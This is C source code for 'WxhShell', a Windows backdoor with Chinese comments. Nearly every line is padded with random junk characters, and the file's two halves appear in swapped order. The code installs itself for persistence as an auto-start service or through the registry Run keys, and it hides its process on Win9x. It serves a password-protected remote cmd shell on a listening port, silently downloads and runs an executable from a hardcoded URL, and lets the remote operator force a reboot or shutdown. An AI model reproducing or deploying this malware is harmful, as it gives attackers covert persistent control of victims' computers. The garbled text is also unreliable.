    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8CXZ7 p  
    if(Boot(SHUTDOWN)) b1+6I_u.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "i jpqI  
    else { b\6 )whh  
    closesocket(wsh); (<M^C>pldf  
    ExitThread(0); :LE0_ .  
    } )1CYs4lp  
    break; R%gkRx[  
    } hz:^3F`>/&  
  // 获取shell bBx.snBK  
  case 's': { kg,t[Jl  
    CmdShell(wsh); g)Ep'd-w"  
    closesocket(wsh); yH`4 sd  
    ExitThread(0); 0[A4k:  
    break; sb1Zm*m6  
  } cb36~{  
  // 退出 OGl>i  
  case 'x': { ! z!lQ~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j[E8C$lW  
    CloseIt(wsh); woSO4e/  
    break; $O\I9CGr$  
    } "h@|XI  
  // 离开 hMcSB8?  
  case 'q': { ~* R:UTBtw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  L#  
    closesocket(wsh); :S['hBMN  
    WSACleanup(); +jpaBr-O#  
    exit(1); Kmk}Yz  
    break; D\~s$.6B  
        } f+ }Rj0A  
  } 4[\$3t.L  
  } sObH#/l`  
$ 12mS  
  // 提示信息 }"$2F0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yg @&@S]  
} 8|-j]   
  } ^[UWG^d  
[Ej#NHs  
  return; ~RdD6V  
} *8QESF9  
,H_b@$]n8  
// shell模块句柄 z XI [f  
int CmdShell(SOCKET sock) `&3hfiI}  
{ EnM }H9A  
STARTUPINFO si; |igr3p5Fw  
ZeroMemory(&si,sizeof(si)); <N4)X"s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2yB@)?V/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {2A| F{7>  
PROCESS_INFORMATION ProcessInfo; 2s^9q9NS"  
char cmdline[]="cmd"; a\K__NCrX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >AtW  
  return 0; :Dh\  
} 0Q>yv;M  
xJ-(]cO'  
// 自身启动模式 6%j v|\>  
int StartFromService(void) qI]PM9  
{ [lU0TDq  
typedef struct BLepCF38  
{ .=~-sj@k  
  DWORD ExitStatus; .5S< G)Ja  
  DWORD PebBaseAddress; AQUl:0!  
  DWORD AffinityMask; P#0U[`ltK  
  DWORD BasePriority; /~8<;N>,+  
  ULONG UniqueProcessId; WfdM~k\  
  ULONG InheritedFromUniqueProcessId; n+sV $*wvS  
}   PROCESS_BASIC_INFORMATION; IIn sq  
9_$i.@L 1  
PROCNTQSIP NtQueryInformationProcess; +qWrm |O]  
&J]|pf3m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Zb \E!>V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m L#%H(  
zL^`r)H  
  HANDLE             hProcess; x|7vN E=Q  
  PROCESS_BASIC_INFORMATION pbi; n?UFFi+a  
Wzn!BgxRr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =do*(  
  if(NULL == hInst ) return 0; A`#/:O4|f  
~x(1g;!^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I^u$H&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k@[P\(a3b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o4[  
#4yh-D"  
  if (!NtQueryInformationProcess) return 0; ^(Y}j8sj  
&7fwYV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2 cB){.E  
  if(!hProcess) return 0; vqeWt[W v  
>qqI6@h]c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $ ]fautQlt  
03%`ouf  
  CloseHandle(hProcess); ~!Ar`= [  
Lddk:u&J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A>bpP  
if(hProcess==NULL) return 0; u%s@B1j  
>u-6,[(5X*  
HMODULE hMod; f%g^6[  
char procName[255]; hoLQuh%2%  
unsigned long cbNeeded; @W|N1,sp  
z{>p<)h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aFbIJm=!  
=*[98%b   
  CloseHandle(hProcess); as k76  e  
w,s++bV;L  
if(strstr(procName,"services")) return 1; // 以服务启动 ,Fv8&tR  
cu@i;Hb@  
  return 0; // 注册表启动 4Y>J,c  
} liuw!  
AeZ__X  
// 主模块 J% b`*?A  
int StartWxhshell(LPSTR lpCmdLine) +HpPVuV  
{ 3= q,k<=L  
  SOCKET wsl; ^^;#Si  
BOOL val=TRUE; `"-ln'nw  
  int port=0; 8M~^/Zc  
  struct sockaddr_in door; f ecV[  
|Y9mre.Y;  
  if(wscfg.ws_autoins) Install(); k%gO  
Ld9YbL:  
port=atoi(lpCmdLine); >Av[`1a2F  
</jzM?i  
if(port<=0) port=wscfg.ws_port; K.R4.{mo  
Hd8 O3_5  
  WSADATA data; jMAZ4M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?6#F9\  
[#3*R_#8R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W74Y.zQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Osk'zFiL<  
  door.sin_family = AF_INET; #J): N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m) -D rbE  
  door.sin_port = htons(port); c?/R=/H  
!,0%ZG}]7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;WqWD-C  
closesocket(wsl); DDwj[' R  
return 1; m8:9Uv  
} y+"6Y14  
{~y,.[Ga  
  if(listen(wsl,2) == INVALID_SOCKET) { 6`JY:~V"  
closesocket(wsl); 7%0V?+]P  
return 1; 8=T[Y`;x  
} yd>b2 M  
  Wxhshell(wsl); \Aa{]t  
  WSACleanup(); ;iq58.  
4]P5k6 nV  
return 0; {}A1[ Y|  
R2` -*PZ_  
} U%?  
5Kw$QJ/  
// 以NT服务方式启动 mV'XH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kHhxR;ymA7  
{ v*[oe  
DWORD   status = 0; !^FR a{b  
  DWORD   specificError = 0xfffffff; \}p!S$`  
:5DL&,,Q3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JsA.j qkB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !*1Kjg3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &&s3>D^Ta  
  serviceStatus.dwWin32ExitCode     = 0; 5?=haGn  
  serviceStatus.dwServiceSpecificExitCode = 0; ~ _G W  
  serviceStatus.dwCheckPoint       = 0; %={[e`,  
  serviceStatus.dwWaitHint       = 0; .VG5 / 6zp  
'lIj89h<E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CUI\:a-   
  if (hServiceStatusHandle==0) return; 9V0@!M8S  
6M^NZ0~J  
status = GetLastError(); ->S# `"@$  
  if (status!=NO_ERROR) pcC/$5FQ  
{ ,l )7]p*X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \nbGdka  
    serviceStatus.dwCheckPoint       = 0; =g3o@WD/G  
    serviceStatus.dwWaitHint       = 0; 7ZR0cJw;  
    serviceStatus.dwWin32ExitCode     = status; S9mcThcZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; aJ3.D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &WV&_z  
    return; C>=[fAr mO  
  } SF. Is=b  
$9@jV<Q1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?igA+(.  
  serviceStatus.dwCheckPoint       = 0; UfxY D  
  serviceStatus.dwWaitHint       = 0; VoG:3qN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sgfci{~  
} y{k65dk-  
?qJt4Om  
// 处理NT服务事件,比如:启动、停止 vAt ]N)R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |EZ\+!8N:{  
{ sBq6,Iu  
switch(fdwControl)  &peUC n  
{ w'Vm'zo  
case SERVICE_CONTROL_STOP: kW4B @Zh  
  serviceStatus.dwWin32ExitCode = 0; D3(rD]c0{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /3KPK4!m  
  serviceStatus.dwCheckPoint   = 0; (`)ZR %i  
  serviceStatus.dwWaitHint     = 0; ;kfl5  
  { n1    
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S9kA69O  
  } HS@ EV iht  
  return; ; nc3O{rU  
case SERVICE_CONTROL_PAUSE: ejh0Wfl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; es!>u{8)  
  break; k%Wj+\93 f  
case SERVICE_CONTROL_CONTINUE: bB+ 4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; MG-#p8  
  break; UNF@%O4_T  
case SERVICE_CONTROL_INTERROGATE: G<W;HMj2  
  break; k; (r:k^  
}; _L% =Q ulu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (8td0zq  
} (TTS-(  
,TlYQ/j%h  
// 标准应用程序主函数 W!o|0u!D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y ow  
{ )N3XbbV  
! z6T_;s  
// 获取操作系统版本 nw,XA0M3  
OsIsNt=GetOsVer(); 77H"=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L]Dq1q8`  
dGG8k&  
  // 从命令行安装 0Z1';A3  
  if(strpbrk(lpCmdLine,"iI")) Install(); MRN=-|fV^  
| {Tq/  
  // 下载执行文件 k@|Go )~  
if(wscfg.ws_downexe) { a98J_^n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ni?5h5-  
  WinExec(wscfg.ws_filenam,SW_HIDE); G Q\;f  
} `Rx\wfr}  
NiBly  
if(!OsIsNt) { cq"#[y$r  
// 如果时win9x,隐藏进程并且设置为注册表启动 k*K.ZS688  
HideProc(); a\B'Qe+  
StartWxhshell(lpCmdLine); +!cibTQTT  
} ZtGtJV"H  
else NCivh&HR  
  if(StartFromService()) XsGc!  o  
  // 以服务方式启动 YB]{gm2  
  StartServiceCtrlDispatcher(DispatchTable); 3YD.Fjz$  
else [w{x+6uX'  
  // 普通方式启动 fL~@v-l#~  
  StartWxhshell(lpCmdLine); yYiu69v  
v2Vmcc_]9x  
return 0; ~cul;bb#  
} M \UB r4  
<.=-9O6  
uc Ph*M  
zALtG<_t  
=========================================== +vIsYg*#2M  
6,~]2H'zq  
H>F j  
p:zRgwcn  
heScIe N^`  
X16vvsjw5  
" j8W<iy  
\Vx_$E  
#include <stdio.h> d}<-G.&_  
#include <string.h> .u:aX$t+  
#include <windows.h> 2H/{OQ$  
#include <winsock2.h> Ch_eK^ g1  
#include <winsvc.h> ,</Kn~b  
#include <urlmon.h> HcM/  
) uTFId  
#pragma comment (lib, "Ws2_32.lib") *iVE O  
#pragma comment (lib, "urlmon.lib") L&0aS:  
=wlPm5  
#define MAX_USER   100 // 最大客户端连接数 6&o?#l;|  
#define BUF_SOCK   200 // sock buffer `L%<3/hF  
#define KEY_BUFF   255 // 输入 buffer o(yyj'=(  
3F32 /_`  
#define REBOOT     0   // 重启 Nx"|10gC  
#define SHUTDOWN   1   // 关机 EMzJyGt7  
Hu+GN3`sx^  
#define DEF_PORT   5000 // 监听端口 RZ|M;c  
!oYNJE Y7  
#define REG_LEN     16   // 注册表键长度 F+!9T  
#define SVC_LEN     80   // NT服务名长度 o,RiAtdk  
K[S)e!\.  
// 从dll定义API C{~O!^2G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h@dy}Id  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q6}KOO)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Qna*K7kv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CA5T3J@vAQ  
_'l"Dk  
// wxhshell配置信息 *U- :2uf  
struct WSCFG { 5\}E4y  
  int ws_port;         // 监听端口 @VQ<X4 Za  
  char ws_passstr[REG_LEN]; // 口令 QD-`jV3  
  int ws_autoins;       // 安装标记, 1=yes 0=no tX6_n%/L  
  char ws_regname[REG_LEN]; // 注册表键名 QH_Ds,oH=  
  char ws_svcname[REG_LEN]; // 服务名 |g'ceG-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u4$R ZTC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yMt:L)+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TfHL'u9B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A4(k<<xjE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q%524%f$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \VWgF)_  
@^/aS;B$>  
}; Bg}l$?S  
- ,?LS w  
// default Wxhshell configuration 2@IL  n+#  
struct WSCFG wscfg={DEF_PORT, K0D|p$v  
    "xuhuanlingzhe", Yr>0Qg],  
    1, ) O&zb_{n  
    "Wxhshell", q]Kv.x]$R  
    "Wxhshell", m6#a {  
            "WxhShell Service", t+K1ArQc  
    "Wrsky Windows CmdShell Service", _%Yi ^^  
    "Please Input Your Password: ", C_JO:$\rE  
  1, xGFbh4H=8p  
  "http://www.wrsky.com/wxhshell.exe", '$rCV,3q  
  "Wxhshell.exe" 4I .'./u  
    }; K-@\";whF  
/8!n7a7  
// 消息定义模块 ;&'ryYrex  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I@\D tQZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9tb-;|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }Q@~_3,UJ  
char *msg_ws_ext="\n\rExit."; q`?M+c*F  
char *msg_ws_end="\n\rQuit."; }h1eB~6M  
char *msg_ws_boot="\n\rReboot..."; |KVVPXtq%C  
char *msg_ws_poff="\n\rShutdown..."; ><S(n#EB  
char *msg_ws_down="\n\rSave to "; v??$z#1F3  
sT "q]  
char *msg_ws_err="\n\rErr!"; M2c7 |  
char *msg_ws_ok="\n\rOK!"; 29CzG0?B  
O;i0xWUh  
char ExeFile[MAX_PATH]; Ftd,dqd  
int nUser = 0; B?yj U[/R  
HANDLE handles[MAX_USER]; _!!Fg%a5"R  
int OsIsNt; 0S9~db  
BoST?"&}'  
SERVICE_STATUS       serviceStatus; 3o0ZS^#eB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HVhP |+  
2i;ox*SfpU  
// 函数声明 U=7nz|  
int Install(void); z@w}+fYO  
int Uninstall(void); ]T)<@bmL  
int DownloadFile(char *sURL, SOCKET wsh); :Ocw+X3  
int Boot(int flag); Iqn (NOq^[  
void HideProc(void); 13w(Tf  
int GetOsVer(void); ?L0k|7  
int Wxhshell(SOCKET wsl); m(d|TwG{  
void TalkWithClient(void *cs); ;<thEWH;Y  
int CmdShell(SOCKET sock); 17,mqXX>  
int StartFromService(void); Jp%5qBS^  
int StartWxhshell(LPSTR lpCmdLine); ;E[Q/ tr:w  
K#AexA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rGXUV`5Na  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;ISe@ yR;  
(vX< B h  
// 数据结构和表定义 A0U9,M  
SERVICE_TABLE_ENTRY DispatchTable[] = }ijQ*ECdl  
{ \G7F/$g  
{wscfg.ws_svcname, NTServiceMain}, mw}Bl; - O  
{NULL, NULL} >T c\~l  
}; &"I csxG  
2%6 >)|  
// 自我安装 yN0`JI  
int Install(void) #p55/54ZI  
{ a@ <-L  
  char svExeFile[MAX_PATH]; deVnAu =  
  HKEY key; Z<^!N)  
  strcpy(svExeFile,ExeFile); w= n(2M56C  
ciiI{T[Z  
// 如果是win9x系统,修改注册表设为自启动 OG$v"Yf~  
if(!OsIsNt) { z7gX@@T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k.K#i /t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A_9J ~3  
  RegCloseKey(key); W]7/ e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ' |B3@9<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {>9ED.t  
  RegCloseKey(key); GGr82)E  
  return 0; %Nv w`H  
    } qP<D9k>  
  } Uc'}y!R  
} X!/Sk1  
else { Up'#OkTx  
`OWHf?t:  
// 如果是NT以上系统,安装为系统服务 /]5*;kO`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S#v3%)R  
if (schSCManager!=0) ^ r(My}  
{ b=_k)h+l  
  SC_HANDLE schService = CreateService f$:SacF  
  ( A;RV~!xx  
  schSCManager, L YF|  
  wscfg.ws_svcname,  0.0-rd>  
  wscfg.ws_svcdisp, ,xVAJ6_#  
  SERVICE_ALL_ACCESS, fz:(mZ%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _/noWwVu  
  SERVICE_AUTO_START, 0 }od Q#  
  SERVICE_ERROR_NORMAL, 2M'dT Xz  
  svExeFile, n+hL/aQ+  
  NULL, A$5M.  
  NULL, ^N|8 B?Vg  
  NULL, Q=xXj'W-  
  NULL, 9 %4:eTcp  
  NULL cPNc$^Y  
  ); PC<_1!M]  
  if (schService!=0) |?2fq&2  
  { dp'[I:X  
  CloseServiceHandle(schService); qrw  
  CloseServiceHandle(schSCManager); z<vh8dNl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'u;O2$  
  strcat(svExeFile,wscfg.ws_svcname); +jwHYfAK)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w,FPL&{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |oXd4  
  RegCloseKey(key); N\ !  
  return 0; QR'#]k;>%  
    } o#,^7ln  
  } \"nut7";2  
  CloseServiceHandle(schSCManager); *1<kYrB  
} UWvVYdy7  
} @:9Gs!!  
 3}8o 9  
return 1; 3yKmuu!  
} G#7(6:=;,`  
Rt+-ud{O  
// 自我卸载 ufL<L;Z\;  
int Uninstall(void) qrlC U4  
{ C\GP}:[T3  
  HKEY key; @ CmKF  
nwUz}em?O  
if(!OsIsNt) { ngl +`|u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A,cXN1V  
  RegDeleteValue(key,wscfg.ws_regname); f(Of+>   
  RegCloseKey(key); y]fI7nu&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R/ZScOW[  
  RegDeleteValue(key,wscfg.ws_regname); ^D$|$=|DH  
  RegCloseKey(key); 6D`n^uoP  
  return 0; CC`_e^~y=F  
  } d/&> `[i  
} PU/<7P*  
} $0E+8xE  
else { L!If~6oD(  
]2wxqglh)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o6k#neB>=.  
if (schSCManager!=0) Km8aHc]O~  
{ _y^r==  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0\ = du  
  if (schService!=0) 7PX`kI  
  { wgS,U }/i  
  if(DeleteService(schService)!=0) { 6`e7|ilh6  
  CloseServiceHandle(schService); RDp  
  CloseServiceHandle(schSCManager); 1*TbgxS~W  
  return 0; W8^m-B&  
  } nTEN&8Y>R  
  CloseServiceHandle(schService); TQF+aP8[L  
  } F^ 75y?  
  CloseServiceHandle(schSCManager); c>B1cR  
} tbd=A]B-  
} :eVZ5?F  
lb-1z]YwQ  
return 1; ^es]jng`  
} dz] 5s  
g 4[Vgmh J  
// 从指定url下载文件 pa[/6(  
int DownloadFile(char *sURL, SOCKET wsh) ,RV qYh(-|  
{ vA1Yya B  
  HRESULT hr; _s=H|#l  
char seps[]= "/"; YNEwX$)M,B  
char *token; ,twx4r^  
char *file; F~mIV;BP  
char myURL[MAX_PATH]; /*mF:40M;  
char myFILE[MAX_PATH]; FPDTw8" B;  
"]+g5G  
strcpy(myURL,sURL); $v|W2k  
  token=strtok(myURL,seps); F)LbH& Kn  
  while(token!=NULL) 7MKX`S  
  { ~|V^IJZ22  
    file=token; j~Aq-8R=  
  token=strtok(NULL,seps); !*N9PUM  
  } 7Q}pKq]P  
m+TAaK  
GetCurrentDirectory(MAX_PATH,myFILE); pjWRd_h.  
strcat(myFILE, "\\"); hH8&g%{2  
strcat(myFILE, file); 7>JTQ CJ  
  send(wsh,myFILE,strlen(myFILE),0); c{1;x)L  
send(wsh,"...",3,0); HC%Hbc~S_Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z7;V}[wie  
  if(hr==S_OK) Ttluh *  
return 0; zR"c j  
else k6(7G@@}  
return 1; Z[oF4 z   
g^'h 4qOa  
} 8h=t%zMSb  
qb>41j9_t  
// 系统电源模块 Zse&{  
int Boot(int flag) UerbNz|  
{ i+Z)`  
  HANDLE hToken; R6+)&:Ab{R  
  TOKEN_PRIVILEGES tkp; 95l)s],  
+[7~:e}DZ  
  if(OsIsNt) { 4ax{Chn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r;#"j%z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zJe KB8  
    tkp.PrivilegeCount = 1; B/twak\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aSzI5J]/=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X0lPRk53(  
if(flag==REBOOT) { ge~@}&#iO@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "o5]:]h)  
  return 0; )9]a  
} qX\*l m/l  
else { Pq;OShU_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (2g a: }K  
  return 0; A3jxjQ  
} BI1M(d#1L"  
  } FlqGexY5  
  else { ^q:-ZgM>  
if(flag==REBOOT) { J]F&4 O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1EyN |m|  
  return 0; 8Zr;n`~  
} S,#1^S  
else { to={q CqU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {w@qFE'b  
  return 0; 3:)z+#Uk6  
} gjS|3ED  
} @N=vmtLP  
`2lS@  
return 1; d)o5JD/  
}  ;Shu  
L)e" qC_-  
// win9x进程隐藏模块 [&)]-2w2  
void HideProc(void) 66yw[,Y  
{ 02;jeZ#z  
C/kf?:j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M(%H  
  if ( hKernel != NULL ) h0{X$&:  
  { ;tOs A #  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @@65t'3S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |xO*!NR  
    FreeLibrary(hKernel); ){^J8]b7#  
  } Qb536RpcTY  
&7L7|{18  
return; vObZ|>.J~O  
} :U6` n  
B*,6;lCjX  
// 获取操作系统版本 <kh.fu@.Q  
int GetOsVer(void) PX:#+bq1  
{ X1j8tg  
  OSVERSIONINFO winfo; 9vI~vl l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZpTDM1ro  
  GetVersionEx(&winfo); ;%tFi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E C#0-,z  
  return 1; kiTC)S=])  
  else 6=iHw 24  
  return 0; +VIA@`4  
} mZ)>^.N6  
_imuyt".+  
// 客户端句柄模块 <c+.%ka  
int Wxhshell(SOCKET wsl) EVmBLH-a  
{ s9 - qR_  
  SOCKET wsh; 1I Xtu   
  struct sockaddr_in client; .#[ 9q-  
  DWORD myID; 2]!@)fio`  
%a%xUce&-X  
  while(nUser<MAX_USER) -3Kh >b)  
{ AwM`[`ReE  
  int nSize=sizeof(client); dC=[o\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HDe\Oty_  
  if(wsh==INVALID_SOCKET) return 1; S?~0)EXj(  
8$(I! ;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1J?v\S$ma`  
if(handles[nUser]==0) sf*4|P}  
  closesocket(wsh); fz'qB-F Y  
else L\Se ,  
  nUser++; & 3#7>oQ  
  } %:3XYO.w-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f{BF%;  
\Y P,}_ ~  
  return 0; u`MM K4 %  
} jn(x-fj6R  
^<I(  
// 关闭 socket [F-R*}&x  
void CloseIt(SOCKET wsh) Tzq@ic#!B  
{ zv]ZEWVzc  
closesocket(wsh); 0 R6:3fV6R  
nUser--; zdN[Uc+1Bd  
ExitThread(0); 4 m:h&^`N  
} 0 QTI;3  
!%>RHh[  
// 客户端请求句柄 t.P@Ba^  
void TalkWithClient(void *cs) lQ 8hY$  
{ "\|P6H  
rA~f68h|  
  SOCKET wsh=(SOCKET)cs; |{9<%Ok4P  
  char pwd[SVC_LEN]; J0xHpe  
  char cmd[KEY_BUFF]; O}M-6!%<,  
char chr[1]; ;;0'BdsL`  
int i,j; o1AbB?%=  
sz9W}&(j  
  while (nUser < MAX_USER) { IO)B3,g  
#&Hi0..y  
if(wscfg.ws_passstr) { ?I+L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vJWBr:`L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); us.#|~i<h  
  //ZeroMemory(pwd,KEY_BUFF); 1wFu3fh@  
      i=0; z,,"yVk`,  
  while(i<SVC_LEN) { s6H.Q$3L  
}c/p;<  
  // 设置超时 Q'OtXs 80  
  fd_set FdRead; 3FBLCD3  
  struct timeval TimeOut; ]az(w&vqg2  
  FD_ZERO(&FdRead); ;cMQ 0e  
  FD_SET(wsh,&FdRead); %8*:VR  
  TimeOut.tv_sec=8; sT^R0Q'>  
  TimeOut.tv_usec=0; / VYT](  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :nx+(xgw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eF+F"|1h  
M7=,J;@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kL8rqv^  
  pwd=chr[0]; b A+_/1C  
  if(chr[0]==0xd || chr[0]==0xa) { K_YrdA)6  
  pwd=0; ]8A*uyi  
  break; $nt&'Xnv  
  } 2!#g\"  
  i++; H^d?(Svh  
    } \U:OQ.e  
Q y qOtRk  
  // 如果是非法用户,关闭 socket M@[W"f Wq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r=Xo;d*TE  
} f@i#Znkf*?  
#b^6>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Xb"i/gfxt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '+9<[]  
aC1z.?!U  
while(1) { p9"dm{  
-06G.;W\^  
  ZeroMemory(cmd,KEY_BUFF); '{ <RX  
~4 fE`-O  
      // 自动支持客户端 telnet标准   |[`YGA4  
  j=0; bdL= ?KS  
  while(j<KEY_BUFF) { 9&sb,^4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a2P)@R  
  cmd[j]=chr[0]; 'I,a 29  
  if(chr[0]==0xa || chr[0]==0xd) { URb8[~dR:  
  cmd[j]=0; in>+D|q c  
  break; ~Dt$}l-9  
  } aM~IRLmK  
  j++; wUaWF$~y  
    } J _rrc;F  
y8YsS4E^Q  
  // 下载文件 j|KDgI<0  
  if(strstr(cmd,"http://")) { f1vD{M ;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q/@2=$]hH3  
  if(DownloadFile(cmd,wsh)) k]p|kutQCy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m!ZY]:)$  
  else %`i*SF(gV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7qqzL_d>  
  } -Cyo2wk  
  else { rt^~ I \V  
tK;xW  
